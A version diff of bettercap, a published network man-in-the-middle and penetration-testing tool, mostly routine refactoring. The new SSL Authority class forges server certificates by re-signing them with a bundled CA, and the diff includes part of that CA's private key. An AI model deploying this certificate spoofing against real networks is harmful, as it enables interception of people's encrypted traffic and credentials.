bettercap 1.4.3 → 1.4.4
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/bettercap.rb +15 -2
- data/lib/bettercap/context.rb +9 -17
- data/lib/bettercap/firewalls/linux.rb +0 -2
- data/lib/bettercap/firewalls/osx.rb +0 -2
- data/lib/bettercap/loader.rb +4 -1
- data/lib/bettercap/monkey/openssl/server.rb +35 -0
- data/lib/bettercap/monkey/packetfu/utils.rb +1 -3
- data/lib/bettercap/monkey/system.rb +25 -0
- data/lib/bettercap/network/arp_reader.rb +0 -1
- data/lib/bettercap/network/network.rb +0 -1
- data/lib/bettercap/network/packet_queue.rb +0 -1
- data/lib/bettercap/network/servers/dnsd.rb +0 -1
- data/lib/bettercap/network/servers/httpd.rb +0 -3
- data/lib/bettercap/network/target.rb +0 -1
- data/lib/bettercap/options.rb +27 -25
- data/lib/bettercap/proxy/module.rb +0 -3
- data/lib/bettercap/proxy/proxy.rb +30 -18
- data/lib/bettercap/proxy/ssl/authority.rb +176 -0
- data/lib/bettercap/proxy/ssl/bettercap-ca.pem +49 -0
- data/lib/bettercap/proxy/ssl/server.rb +61 -0
- data/lib/bettercap/proxy/stream_logger.rb +0 -3
- data/lib/bettercap/proxy/streamer.rb +36 -6
- data/lib/bettercap/proxy/thread_pool.rb +0 -1
- data/lib/bettercap/shell.rb +0 -1
- data/lib/bettercap/sniffer/parsers/httpauth.rb +0 -1
- data/lib/bettercap/sniffer/parsers/https.rb +0 -1
- data/lib/bettercap/sniffer/sniffer.rb +0 -3
- data/lib/bettercap/spoofers/arp.rb +1 -2
- data/lib/bettercap/spoofers/icmp.rb +0 -3
- data/lib/bettercap/spoofers/none.rb +0 -2
- data/lib/bettercap/update_checker.rb +0 -5
- data/lib/bettercap/version.rb +1 -1
- metadata +7 -3
- data/lib/bettercap/proxy/certstore.rb +0 -75
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: b09b6f89c9024dc03bf63ddb24f8ad26456b1908
|
4
|
+
data.tar.gz: d146f66dec58665f9105006e95578f713602f7bd
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: c95f936850a53d62bb97c0a02ab97db7e5ca79ef03659f623a07bca4320ffa6202ab4369c3f9de34dd7495ed85878de22f13de335ce4d742582f34974a721e6c
|
7
|
+
data.tar.gz: d3c9765216d535380dfb0693b32755148d755af129fa3fcd2adb0cae020b79d112c30a11c4b24e26af9de2b56166756c454cdb500e7d59532bb184256f6c1962
|
data/lib/bettercap.rb
CHANGED
@@ -17,12 +17,25 @@
|
|
17
17
|
Encoding.default_external = Encoding::UTF_8
|
18
18
|
Encoding.default_internal = Encoding::UTF_8
|
19
19
|
|
20
|
-
require '
|
20
|
+
require 'base64'
|
21
21
|
require 'colorize'
|
22
|
+
require 'digest'
|
23
|
+
require 'ipaddr'
|
24
|
+
require 'json'
|
25
|
+
require 'net/dns'
|
26
|
+
require 'net/http'
|
27
|
+
require 'openssl'
|
28
|
+
require 'optparse'
|
22
29
|
require 'packetfu'
|
23
30
|
require 'pcaprub'
|
24
|
-
require '
|
31
|
+
require 'resolv'
|
32
|
+
require 'rubydns'
|
33
|
+
require 'socket'
|
34
|
+
require 'stringio'
|
35
|
+
require 'thread'
|
25
36
|
require 'uri'
|
37
|
+
require 'webrick'
|
38
|
+
require 'zlib'
|
26
39
|
|
27
40
|
Object.send :remove_const, :Config rescue nil
|
28
41
|
Config = RbConfig
|
data/lib/bettercap/context.rb
CHANGED
@@ -11,8 +11,6 @@ This project is released under the GPL 3 license.
|
|
11
11
|
|
12
12
|
=end
|
13
13
|
|
14
|
-
require 'bettercap/error'
|
15
|
-
|
16
14
|
module BetterCap
|
17
15
|
# This class holds global states and data, moreover it exposes high level
|
18
16
|
# methods to manipulate the program behaviour.
|
@@ -37,9 +35,9 @@ class Context
|
|
37
35
|
attr_accessor :httpd
|
38
36
|
# Instance of BetterCap::Network::Servers::DNSD class.
|
39
37
|
attr_accessor :dnsd
|
40
|
-
# Instance of
|
38
|
+
# Instance of Proxy::SSL::Authority class used
|
41
39
|
# for the HTTPS transparent proxy.
|
42
|
-
attr_accessor :
|
40
|
+
attr_accessor :authority
|
43
41
|
# Set to true if the program is running, to false if a shutdown was
|
44
42
|
# scheduled by the user which pressed CTRL+C
|
45
43
|
attr_accessor :running
|
@@ -77,7 +75,7 @@ class Context
|
|
77
75
|
@spoofer = nil
|
78
76
|
@httpd = nil
|
79
77
|
@dnsd = nil
|
80
|
-
@
|
78
|
+
@authority = nil
|
81
79
|
@proxies = []
|
82
80
|
@redirections = []
|
83
81
|
@discovery = Discovery::Thread.new self
|
@@ -139,7 +137,7 @@ class Context
|
|
139
137
|
end
|
140
138
|
|
141
139
|
# Start proxies and setup port redirection.
|
142
|
-
if @options.proxy
|
140
|
+
if @options.proxy or @options.proxy_https
|
143
141
|
if @options.has_http_sniffer_enabled?
|
144
142
|
BetterCap::Logger.warn "WARNING: Both HTTP transparent proxy and URL parser are enabled, you're gonna see duplicated logs."
|
145
143
|
end
|
@@ -248,19 +246,13 @@ class Context
|
|
248
246
|
end
|
249
247
|
|
250
248
|
# create HTTP proxy
|
251
|
-
|
249
|
+
if @options.proxy
|
250
|
+
@proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false, @proxy_processor )
|
251
|
+
end
|
252
|
+
|
252
253
|
# create HTTPS proxy
|
253
254
|
if @options.proxy_https
|
254
|
-
|
255
|
-
# able to handle CONNECT requests, thus we don't know the
|
256
|
-
# hostname the client is going to connect to.
|
257
|
-
# We can only use a self signed certificate.
|
258
|
-
if @options.proxy_pem_file.nil?
|
259
|
-
@certificate = Proxy::CertStore.get_selfsigned
|
260
|
-
else
|
261
|
-
@certificate = Proxy::CertStore.from_file @options.proxy_pem_file
|
262
|
-
end
|
263
|
-
|
255
|
+
@authority = Proxy::SSL::Authority.new( @options.proxy_pem_file )
|
264
256
|
@proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true, @proxy_processor )
|
265
257
|
end
|
266
258
|
|
data/lib/bettercap/loader.rb
CHANGED
@@ -1,12 +1,15 @@
|
|
1
1
|
# encoding: UTF-8
|
2
2
|
=begin
|
3
|
+
|
3
4
|
BETTERCAP
|
5
|
+
|
4
6
|
Author : Simone 'evilsocket' Margaritelli
|
5
7
|
Email : evilsocket@gmail.com
|
6
8
|
Blog : http://www.evilsocket.net/
|
9
|
+
|
7
10
|
This project is released under the GPL 3 license.
|
11
|
+
|
8
12
|
=end
|
9
|
-
require 'bettercap/error'
|
10
13
|
|
11
14
|
module BetterCap
|
12
15
|
# This class is responsible for dynamically loading modules.
|
@@ -0,0 +1,35 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
|
14
|
+
# Add accept_nonblock method to OpenSSL::SSL::SSLServer
|
15
|
+
module OpenSSL
|
16
|
+
module SSL
|
17
|
+
class SSLServer
|
18
|
+
unless public_method_defined? :accept_nonblock
|
19
|
+
def accept_nonblock
|
20
|
+
sock = @svr.accept_nonblock
|
21
|
+
|
22
|
+
begin
|
23
|
+
ssl = OpenSSL::SSL::SSLSocket.new(sock, @ctx)
|
24
|
+
ssl.sync_close = true
|
25
|
+
ssl.accept if @start_immediately
|
26
|
+
ssl
|
27
|
+
rescue SSLError => ex
|
28
|
+
sock.close
|
29
|
+
raise ex
|
30
|
+
end
|
31
|
+
end
|
32
|
+
end
|
33
|
+
end
|
34
|
+
end
|
35
|
+
end
|
@@ -16,8 +16,6 @@ This project is released under the GPL 3 license.
|
|
16
16
|
# regular expression.
|
17
17
|
#
|
18
18
|
# ORIGINAL: https://github.com/packetfu/packetfu/blob/master/lib/packetfu/utils.rb#L204
|
19
|
-
require 'bettercap/logger'
|
20
|
-
|
21
19
|
module PacketFu
|
22
20
|
class Packet
|
23
21
|
def eth2s(which = :src)
|
@@ -29,7 +27,7 @@ module PacketFu
|
|
29
27
|
end
|
30
28
|
end
|
31
29
|
end
|
32
|
-
|
30
|
+
|
33
31
|
class Utils
|
34
32
|
def self.ifconfig(iface='eth0')
|
35
33
|
ret = {}
|
@@ -0,0 +1,25 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
|
14
|
+
# http://stackoverflow.com/questions/891537/detect-number-of-cpus-installed
|
15
|
+
module System
|
16
|
+
extend self
|
17
|
+
def cpu_count
|
18
|
+
return Java::Java.lang.Runtime.getRuntime.availableProcessors if defined? Java::Java
|
19
|
+
return File.read('/proc/cpuinfo').scan(/^processor\s*:/).size if File.exist? '/proc/cpuinfo'
|
20
|
+
require 'win32ole'
|
21
|
+
WIN32OLE.connect("winmgmts://").ExecQuery("select * from Win32_ComputerSystem").NumberOfProcessors
|
22
|
+
rescue LoadError
|
23
|
+
Integer `sysctl -n hw.ncpu 2>/dev/null` rescue 4
|
24
|
+
end
|
25
|
+
end
|
data/lib/bettercap/options.rb
CHANGED
@@ -175,11 +175,11 @@ class Options
|
|
175
175
|
ctx.options.gateway = v
|
176
176
|
end
|
177
177
|
|
178
|
-
opts.on( '-I', '--interface IFACE', 'Network interface name - default: ' + ctx.options.iface.to_s ) do |v|
|
178
|
+
opts.on( '-I', '--interface IFACE', 'Network interface name - default: ' + ctx.options.iface.to_s.yellow ) do |v|
|
179
179
|
ctx.options.iface = v
|
180
180
|
end
|
181
181
|
|
182
|
-
opts.on( '-S', '--spoofer NAME',
|
182
|
+
opts.on( '-S', '--spoofer NAME', "Spoofer module to use, available: #{Spoofers::Base.available.map{|x| x.yellow }.join(', ')} - default: #{ctx.options.spoofer.yellow}." ) do |v|
|
183
183
|
ctx.options.spoofer = v
|
184
184
|
end
|
185
185
|
|
@@ -203,7 +203,7 @@ class Options
|
|
203
203
|
ctx.options.debug = true
|
204
204
|
end
|
205
205
|
|
206
|
-
opts.on( '-L', '--local',
|
206
|
+
opts.on( '-L', '--local', "Parse packets coming from/to the address of this computer ( NOTE: Will set -X to true ), default to #{'false'.yellow}." ) do
|
207
207
|
ctx.options.local = true
|
208
208
|
ctx.options.sniffer = true
|
209
209
|
end
|
@@ -227,7 +227,7 @@ class Options
|
|
227
227
|
ctx.options.sniffer_filter = v
|
228
228
|
end
|
229
229
|
|
230
|
-
opts.on( '-P', '--parsers PARSERS',
|
230
|
+
opts.on( '-P', '--parsers PARSERS', "Comma separated list of packet parsers to enable, '*' for all ( NOTE: Will set -X to true ), available: #{Parsers::Base.available.map { |x| x.yellow }.join(', ')} - default: #{'*'.yellow}" ) do |v|
|
231
231
|
ctx.options.sniffer = true
|
232
232
|
ctx.options.parsers = Parsers::Base.from_cmdline(v)
|
233
233
|
end
|
@@ -238,15 +238,15 @@ class Options
|
|
238
238
|
ctx.options.custom_parser = Regexp.new(v)
|
239
239
|
end
|
240
240
|
|
241
|
-
opts.on( '--silent',
|
241
|
+
opts.on( '--silent', "Suppress every message which is not an error or a warning, default to #{'false'.yellow}." ) do
|
242
242
|
ctx.options.silent = true
|
243
243
|
end
|
244
244
|
|
245
|
-
opts.on( '--no-discovery',
|
245
|
+
opts.on( '--no-discovery', "Do not actively search for hosts, just use the current ARP cache, default to #{'false'.yellow}." ) do
|
246
246
|
ctx.options.arpcache = true
|
247
247
|
end
|
248
248
|
|
249
|
-
opts.on( '--no-spoofing',
|
249
|
+
opts.on( '--no-spoofing', "Disable spoofing, alias for #{'--spoofer NONE'.yellow}." ) do
|
250
250
|
ctx.options.spoofer = 'NONE'
|
251
251
|
end
|
252
252
|
|
@@ -258,41 +258,38 @@ class Options
|
|
258
258
|
ctx.options.half_duplex = true
|
259
259
|
end
|
260
260
|
|
261
|
-
opts.on( '--proxy',
|
261
|
+
opts.on( '--proxy', "Enable HTTP proxy and redirects all HTTP requests to it, default to #{'false'.yellow}." ) do
|
262
262
|
ctx.options.proxy = true
|
263
263
|
end
|
264
264
|
|
265
|
-
opts.on( '--proxy-https',
|
266
|
-
ctx.options.proxy = true
|
265
|
+
opts.on( '--proxy-https', "Enable HTTPS proxy and redirects all HTTPS requests to it, default to #{'false'.yellow}." ) do
|
267
266
|
ctx.options.proxy_https = true
|
268
267
|
end
|
269
268
|
|
270
|
-
opts.on( '--proxy-port PORT',
|
269
|
+
opts.on( '--proxy-port PORT', "Set HTTP proxy port, default to #{ctx.options.proxy_port.to_s.yellow}." ) do |v|
|
271
270
|
ctx.options.proxy = true
|
272
271
|
ctx.options.proxy_port = v.to_i
|
273
272
|
end
|
274
273
|
|
275
|
-
opts.on( '--http-ports PORT1,PORT2',
|
274
|
+
opts.on( '--http-ports PORT1,PORT2', "Comma separated list of HTTP ports to redirect to the proxy, default to #{ctx.options.http_ports.map{|x| x.to_s.yellow }.join(', ')}." ) do |v|
|
276
275
|
ctx.options.http_ports = ctx.options.parse_ports( v )
|
277
276
|
end
|
278
277
|
|
279
|
-
opts.on( '--https-ports PORT1,PORT2',
|
278
|
+
opts.on( '--https-ports PORT1,PORT2', "Comma separated list of HTTPS ports to redirect to the proxy, default to #{ctx.options.https_ports.map{|x| x.to_s.yellow }.join(', ')}." ) do |v|
|
280
279
|
ctx.options.https_ports = ctx.options.parse_ports( v )
|
281
280
|
end
|
282
281
|
|
283
|
-
opts.on( '--proxy-https-port PORT',
|
284
|
-
ctx.options.proxy = true
|
282
|
+
opts.on( '--proxy-https-port PORT', "Set HTTPS proxy port, default to #{ctx.options.proxy_https_port.to_s.yellow}." ) do |v|
|
285
283
|
ctx.options.proxy_https = true
|
286
284
|
ctx.options.proxy_https_port = v.to_i
|
287
285
|
end
|
288
286
|
|
289
|
-
opts.on( '--proxy-pem FILE',
|
290
|
-
ctx.options.proxy = true
|
287
|
+
opts.on( '--proxy-pem FILE', "Use a custom PEM CA certificate file for the HTTPS proxy, default to #{Proxy::SSL::Authority::DEFAULT.yellow} ." ) do |v|
|
291
288
|
ctx.options.proxy_https = true
|
292
289
|
ctx.options.proxy_pem_file = File.expand_path v
|
293
290
|
end
|
294
291
|
|
295
|
-
opts.on( '--proxy-module MODULE',
|
292
|
+
opts.on( '--proxy-module MODULE', "Ruby proxy module to load, either a custom file or one of the following: #{Proxy::Module.available.map{|x| x.yellow}.join(', ')}." ) do |v|
|
296
293
|
Proxy::Module.load(ctx, opts, v)
|
297
294
|
end
|
298
295
|
|
@@ -300,7 +297,7 @@ class Options
|
|
300
297
|
ctx.options.parse_custom_proxy!(v)
|
301
298
|
end
|
302
299
|
|
303
|
-
opts.on( '--custom-proxy-port PORT',
|
300
|
+
opts.on( '--custom-proxy-port PORT', "Specify a port for the custom HTTP upstream proxy, default to #{ctx.options.custom_proxy_port.to_s.yellow}." ) do |v|
|
304
301
|
ctx.options.custom_proxy_port = v.to_i
|
305
302
|
end
|
306
303
|
|
@@ -312,19 +309,19 @@ class Options
|
|
312
309
|
ctx.options.parse_custom_proxy!( v, true )
|
313
310
|
end
|
314
311
|
|
315
|
-
opts.on( '--custom-https-proxy-port PORT',
|
312
|
+
opts.on( '--custom-https-proxy-port PORT', "Specify a port for the custom HTTPS upstream proxy, default to #{ctx.options.custom_https_proxy_port.to_s.yellow}." ) do |v|
|
316
313
|
ctx.options.custom_https_proxy_port = v.to_i
|
317
314
|
end
|
318
315
|
|
319
|
-
opts.on( '--custom-redirection RULE',
|
316
|
+
opts.on( '--custom-redirection RULE', "Apply a custom port redirection, the format of the rule is #{'PROTOCOL ORIGINAL_PORT NEW_PORT'.yellow}. For instance #{'TCP 21 2100'.yellow} will redirect all TCP traffic going to port 21, to port 2100." ) do |v|
|
320
317
|
ctx.options.parse_redirection!( v )
|
321
318
|
end
|
322
319
|
|
323
|
-
opts.on( '--httpd',
|
320
|
+
opts.on( '--httpd', "Enable HTTP server, default to #{'false'.yellow}." ) do
|
324
321
|
ctx.options.httpd = true
|
325
322
|
end
|
326
323
|
|
327
|
-
opts.on( '--httpd-port PORT',
|
324
|
+
opts.on( '--httpd-port PORT', "Set HTTP server port, default to #{ctx.options.httpd_port.to_s.yellow}." ) do |v|
|
328
325
|
ctx.options.httpd = true
|
329
326
|
ctx.options.httpd_port = v.to_i
|
330
327
|
end
|
@@ -334,11 +331,11 @@ class Options
|
|
334
331
|
ctx.options.dnsd_file = File.expand_path v
|
335
332
|
end
|
336
333
|
|
337
|
-
opts.on( '--dns-port PORT',
|
334
|
+
opts.on( '--dns-port PORT', "Set DNS server port, default to #{ctx.options.dnsd_port.to_s.yellow}." ) do |v|
|
338
335
|
ctx.options.dnsd_port = v.to_i
|
339
336
|
end
|
340
337
|
|
341
|
-
opts.on( '--httpd-path PATH',
|
338
|
+
opts.on( '--httpd-path PATH', "Set HTTP server path, default to #{ctx.options.httpd_path.yellow} ." ) do |v|
|
342
339
|
ctx.options.httpd = true
|
343
340
|
ctx.options.httpd_path = v
|
344
341
|
end
|
@@ -380,6 +377,11 @@ class Options
|
|
380
377
|
"either use the --no-sslstrip option or remove the --dns option."
|
381
378
|
end
|
382
379
|
|
380
|
+
if ctx.options.has_proxy_module? and ( !ctx.options.proxy and !ctx.options.proxy_https )
|
381
|
+
raise BetterCap::Error, "A proxy module was specified but none of the HTTP or HTTPS proxies are " \
|
382
|
+
"enabled, specify --proxy or --proxy-https options."
|
383
|
+
end
|
384
|
+
|
383
385
|
unless ctx.options.gateway.nil?
|
384
386
|
raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network::Validator.is_ip?(ctx.options.gateway)
|
385
387
|
ctx.gateway = ctx.options.gateway
|
@@ -10,7 +10,6 @@ Blog : http://www.evilsocket.net/
|
|
10
10
|
This project is released under the GPL 3 license.
|
11
11
|
|
12
12
|
=end
|
13
|
-
require 'bettercap/logger'
|
14
13
|
|
15
14
|
module BetterCap
|
16
15
|
module Proxy
|
@@ -40,8 +39,6 @@ class Module
|
|
40
39
|
|
41
40
|
# Load the module with +name+.
|
42
41
|
def self.load(ctx, opts, name)
|
43
|
-
ctx.options.proxy = true
|
44
|
-
|
45
42
|
if self.is_builtin?(name)
|
46
43
|
ctx.options.proxy_module = "#{@@path}/#{name}.rb"
|
47
44
|
else
|
@@ -11,9 +11,6 @@ This project is released under the GPL 3 license.
|
|
11
11
|
|
12
12
|
=end
|
13
13
|
|
14
|
-
require 'socket'
|
15
|
-
require 'uri'
|
16
|
-
|
17
14
|
module BetterCap
|
18
15
|
module Proxy
|
19
16
|
# Transparent proxy class.
|
@@ -28,13 +25,12 @@ class Proxy
|
|
28
25
|
@is_https = is_https
|
29
26
|
@type = is_https ? 'HTTPS' : 'HTTP'
|
30
27
|
@upstream_port = is_https ? 443 : 80
|
31
|
-
@sslserver = nil
|
32
|
-
@sslcontext = nil
|
33
28
|
@server = nil
|
29
|
+
@sslserver = nil
|
34
30
|
@main_thread = nil
|
35
31
|
@running = false
|
36
|
-
@streamer = Streamer.new processor
|
37
32
|
@local_ips = []
|
33
|
+
@streamer = Streamer.new( processor, need_sslstrip? )
|
38
34
|
|
39
35
|
begin
|
40
36
|
@local_ips = Socket.ip_address_list.collect { |x| x.ip_address }
|
@@ -46,7 +42,10 @@ class Proxy
|
|
46
42
|
|
47
43
|
BasicSocket.do_not_reverse_lookup = true
|
48
44
|
|
49
|
-
|
45
|
+
tmin = System.cpu_count
|
46
|
+
tmax = tmin * 16
|
47
|
+
|
48
|
+
@pool = ThreadPool.new( tmin, tmax ) do |client|
|
50
49
|
begin
|
51
50
|
client_worker client
|
52
51
|
rescue Exception => e
|
@@ -59,16 +58,13 @@ class Proxy
|
|
59
58
|
# Start this proxy instance.
|
60
59
|
def start
|
61
60
|
begin
|
62
|
-
@
|
61
|
+
@socket = TCPServer.new( @address, @port )
|
63
62
|
|
64
63
|
if @is_https
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
@
|
69
|
-
@sslcontext.key = cert[:key]
|
70
|
-
|
71
|
-
@server = @sslserver = OpenSSL::SSL::SSLServer.new( @socket, @sslcontext )
|
64
|
+
@sslserver = SSL::Server.new( @socket )
|
65
|
+
@server = @sslserver.io
|
66
|
+
else
|
67
|
+
@server = @socket
|
72
68
|
end
|
73
69
|
|
74
70
|
@main_thread = Thread.new &method(:server_thread)
|
@@ -100,13 +96,24 @@ class Proxy
|
|
100
96
|
Logger.info "[#{@type.green}] Proxy starting on #{@address}:#{@port} ...\n"
|
101
97
|
|
102
98
|
@running = true
|
99
|
+
sockets = [ @server ]
|
103
100
|
|
104
101
|
while @running do
|
105
102
|
begin
|
106
|
-
|
103
|
+
IO.select(sockets).first.each do |sock|
|
104
|
+
begin
|
105
|
+
if io = sock.accept_nonblock
|
106
|
+
@pool << io
|
107
|
+
end
|
108
|
+
rescue SystemCallError
|
109
|
+
# nothing
|
110
|
+
rescue Errno::ECONNABORTED
|
111
|
+
# client closed the socket even before accept
|
112
|
+
io.close rescue nil
|
113
|
+
end
|
114
|
+
end
|
107
115
|
rescue OpenSSL::SSL::SSLError => se
|
108
|
-
Logger.debug("Error while accepting #{@type} connection.")
|
109
|
-
Logger.exception(se)
|
116
|
+
Logger.debug("Error while accepting #{@type} connection ( #{se.message} ).")
|
110
117
|
rescue Exception => e
|
111
118
|
Logger.warn("Error while accepting #{@type} connection: #{e.inspect}") if @running
|
112
119
|
end
|
@@ -162,6 +169,11 @@ class Proxy
|
|
162
169
|
|
163
170
|
client.close
|
164
171
|
end
|
172
|
+
|
173
|
+
# Return true if sslstrip is needed for this proxy instance.
|
174
|
+
def need_sslstrip?
|
175
|
+
( Context.get.options.sslstrip and !@is_https )
|
176
|
+
end
|
165
177
|
end
|
166
178
|
|
167
179
|
end
|
@@ -0,0 +1,176 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
|
14
|
+
module BetterCap
|
15
|
+
module Proxy
|
16
|
+
module SSL
|
17
|
+
|
18
|
+
# Simple wrapper class used to fetch a server HTTPS certificate.
|
19
|
+
class Fetcher < Net::HTTP
|
20
|
+
# The server HTTPS certificate.
|
21
|
+
attr_accessor :certificate
|
22
|
+
# Overridden from Net::HTTP in order to save the peer certificate
|
23
|
+
# before the connection is closed.
|
24
|
+
def on_connect
|
25
|
+
@certificate = peer_cert
|
26
|
+
end
|
27
|
+
# Fetch the HTTPS certificate of +hostname+:+port+.
|
28
|
+
def self.fetch( hostname, port )
|
29
|
+
http = self.new( hostname, port )
|
30
|
+
http.use_ssl = true
|
31
|
+
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
32
|
+
|
33
|
+
http.head("/")
|
34
|
+
http.certificate
|
35
|
+
end
|
36
|
+
end
|
37
|
+
|
38
|
+
# Used as an on-disk cache of server certificates.
|
39
|
+
class Store
|
40
|
+
# The store path.
|
41
|
+
PATH = File.join( Dir.home, '.bettercap', 'certificates' )
|
42
|
+
|
43
|
+
# Create an instance of this class.
|
44
|
+
def initialize
|
45
|
+
unless File.directory?( Store::PATH )
|
46
|
+
Logger.info "[#{'SSL'.green}] Initializing certificates store '#{Store::PATH}' ..."
|
47
|
+
FileUtils.mkdir_p( Store::PATH )
|
48
|
+
end
|
49
|
+
|
50
|
+
@store = {}
|
51
|
+
@lock = Mutex.new
|
52
|
+
end
|
53
|
+
|
54
|
+
# Find the +hostname+:+port+ certificate and return it.
|
55
|
+
def find( hostname, port )
|
56
|
+
key = Digest::SHA256.hexdigest( "#{hostname}_#{port}" )
|
57
|
+
|
58
|
+
@lock.synchronize {
|
59
|
+
unless @store.has_key?(key)
|
60
|
+
# Certificate not available in memory, search it in the store PATH.
|
61
|
+
filename = File.join( Store::PATH, key )
|
62
|
+
s_cert = load_from_file( filename )
|
63
|
+
# Not available on disk too, fetch it from the server and save it.
|
64
|
+
if s_cert.nil?
|
65
|
+
Logger.info "[#{'SSL'.green}] Fetching certificate from #{hostname}:#{port} ..."
|
66
|
+
|
67
|
+
s_cert = Fetcher.fetch( hostname, port )
|
68
|
+
save_to_file( s_cert, filename )
|
69
|
+
else
|
70
|
+
Logger.info "[#{'SSL'.green}] Loaded HTTPS certificate for '#{hostname}' from store."
|
71
|
+
end
|
72
|
+
|
73
|
+
@store[key] = s_cert
|
74
|
+
end
|
75
|
+
}
|
76
|
+
|
77
|
+
@store[key]
|
78
|
+
end
|
79
|
+
|
80
|
+
private
|
81
|
+
|
82
|
+
# Load and return a certificate from +filename+ if it exists, also check if
|
83
|
+
# the certificate is expired, in which case it will remove it and return nil.
|
84
|
+
def load_from_file( filename )
|
85
|
+
cert = nil
|
86
|
+
if File.exist?(filename)
|
87
|
+
data = File.read(filename)
|
88
|
+
cert = OpenSSL::X509::Certificate.new(data)
|
89
|
+
# Check if expired.
|
90
|
+
now = Time.now
|
91
|
+
if now < cert.not_before or now > cert.not_after
|
92
|
+
File.delete( filename )
|
93
|
+
cert = nil
|
94
|
+
end
|
95
|
+
end
|
96
|
+
cert
|
97
|
+
end
|
98
|
+
|
99
|
+
# Save the +cert+ certificate to +filename+ encoded as PEM.
|
100
|
+
def save_to_file( cert, filename )
|
101
|
+
File.open( filename, "w+" ) { |file| file.write(cert.to_pem) }
|
102
|
+
end
|
103
|
+
end
|
104
|
+
|
105
|
+
# This class represents bettercap's HTTPS CA.
|
106
|
+
class Authority
|
107
|
+
# Default CA file.
|
108
|
+
DEFAULT = File.join( Dir.home, '.bettercap', 'bettercap-ca.pem' )
|
109
|
+
|
110
|
+
# CA certificate.
|
111
|
+
attr_reader :certificate
|
112
|
+
# CA key.
|
113
|
+
attr_reader :key
|
114
|
+
|
115
|
+
# Create an instance of this class loading the certificate and key from
|
116
|
+
# +filename+ which is expected to be a PEM formatted file.
|
117
|
+
# If +filename+ is nil, Authority::DEFAULT will be used instead.
|
118
|
+
def initialize( filename = nil )
|
119
|
+
install_ca
|
120
|
+
filename ||= Authority::DEFAULT
|
121
|
+
|
122
|
+
Logger.info "[#{'SSL'.green}] Loading HTTPS Certification Authority from '#{filename}' ..."
|
123
|
+
|
124
|
+
begin
|
125
|
+
pem = File.read(filename)
|
126
|
+
|
127
|
+
@certificate = OpenSSL::X509::Certificate.new(pem)
|
128
|
+
@key = OpenSSL::PKey::RSA.new(pem)
|
129
|
+
@store = Store.new
|
130
|
+
@cache = {}
|
131
|
+
@lock = Mutex.new
|
132
|
+
rescue Errno::ENOENT
|
133
|
+
raise BetterCap::Error, "'#{filename}' - No such file or directory."
|
134
|
+
|
135
|
+
rescue OpenSSL::X509::CertificateError
|
136
|
+
raise BetterCap::Error, "'#{filename}' - Missing or invalid certificate."
|
137
|
+
|
138
|
+
rescue OpenSSL::PKey::RSAError
|
139
|
+
raise BetterCap::Error, "'#{filename}' - Missing or invalid key."
|
140
|
+
end
|
141
|
+
end
|
142
|
+
|
143
|
+
# Fetch the certificate from +hostname+:+port+, sign it with our own CA and
|
144
|
+
# return it.
|
145
|
+
def spoof( hostname, port = 443 )
|
146
|
+
@lock.synchronize {
|
147
|
+
unless @cache.has_key?(hostname)
|
148
|
+
# 1. fetch real server certificate
|
149
|
+
s_cert = @store.find( hostname, port )
|
150
|
+
# 2. Sign it with our CA.
|
151
|
+
s_cert.public_key = @key.public_key
|
152
|
+
s_cert.issuer = @certificate.subject
|
153
|
+
s_cert.sign( @key, OpenSSL::Digest::SHA256.new )
|
154
|
+
# 3. Profit ^_^
|
155
|
+
@cache[hostname] = s_cert
|
156
|
+
end
|
157
|
+
}
|
158
|
+
@cache[hostname]
|
159
|
+
end
|
160
|
+
|
161
|
+
def install_ca
|
162
|
+
unless File.exist?( Authority::DEFAULT )
|
163
|
+
root = File.join( Dir.home, '.bettercap' )
|
164
|
+
source = File.dirname(__FILE__) + '/bettercap-ca.pem'
|
165
|
+
|
166
|
+
Logger.info "[#{'SSL'.green}] Installing CA to #{root} ..."
|
167
|
+
|
168
|
+
FileUtils.mkdir_p( root )
|
169
|
+
FileUtils.cp( source, root )
|
170
|
+
end
|
171
|
+
end
|
172
|
+
end
|
173
|
+
|
174
|
+
end
|
175
|
+
end
|
176
|
+
end
|
@@ -0,0 +1,49 @@
|
|
1
|
+
-----BEGIN PRIVATE KEY-----
|
2
|
+
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCaoeZj2x7hY4RV
|
3
|
+
L4S6F6GfsEAye1/rTivXQCBsEMdBifPFCWz4i1s5v1CbxO4x4dfgtJiVniGyMsnQ
|
4
|
+
pWOsZ/kjt74FIzgA2A7RTsz6+jvxFnw8uNH2UvHAlXerpghBw7F46HTKb7fPGlXI
|
5
|
+
eMrXd7SQ9fonNM1fQ0L37+ILAaZIIXjm3bM7KWuM7+8qr2bxLxP9A1ud5ruOLNF+
|
6
|
+
